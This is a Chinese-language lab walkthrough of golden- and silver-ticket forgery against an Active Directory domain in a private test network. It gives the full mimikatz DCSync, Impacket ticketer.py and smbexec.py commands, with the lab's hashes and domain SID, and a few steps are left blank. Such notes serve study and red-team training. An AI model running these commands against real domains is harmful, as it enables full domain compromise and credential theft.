1. 实验网络拓扑
kali:
192.168.72.128
win2008:
192.168.135.129
192.168.72.139
win7:
192.168.72.149
win2012:(DC)
192.168.72.131
2. EXPLOIT
一般来说,通用的ptt有三种方法:
- impacket
- mimikatz
- cs
这里就以impacket为例。
0x1. 黄金票据
前提条件:
- krbtgt hash
- 域的SID
- 域名
- 要伪造的域用户。(一般为域管)
1)获取krbtgt hash
(也可以用imacket的secretsdump.py)
lsadump::dcsync /user:krbtgt /csv
f4567f841a05d9d5f45f1ffd46c9b920
2)获取域的SID
S-1-5-21-4207503543-408938341-706816591
3).4)……
Impacket/ticketer.py
用Impacket的,结合后面的smbexec.py这些利用导入票据更方便。
制作黄金票据:
python3 ticketer.py -domain-sid S-1-5-21-4207503543-408938341-706816591 -nthash f4567f841a05d9d5f45f1ffd46c9b920 -domain intranet.com administrator
然后导入票据,smbexec.py连接域控,验证票据权限:
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -l administrator@dc.intranet.com -dc-ip 192.168.72.131
要注意:先在kali上配置好hosts,因为用的Kerberos走域名,不能写@ip。
当然,用psexec.py也行:
0x2 白银票据
前提条件
- 服务HASH
- 域SID
- 域名
- 域管名
1)服务HASH
比如我们通过kerberoasting拿到了服务的密码,就可以计算出服务的NTLM HASH。
这个实验以DC
的CIFS服务为例,那么hash就是DC$
机器用户的hash了,mimikatz抓取:
b4c5166e6894457fe007c66c1259644b
2)域SID
同金票
S-1-5-21-4207503543-408938341-706816591
3)域名
同。
4)域管名
一般为administrator
Impacket/ticketer.py
python3 ticketer.py -domain-sid S-1-5-21-4207503543-408938341-706816591 -nthash b4c5166e6894457fe007c66c1259644b -spn cifs/DC.intranet.com -domain intranet.com administrator
制作后,导入,连接域控:
同样的,也有权限进行secretsdump.py操作: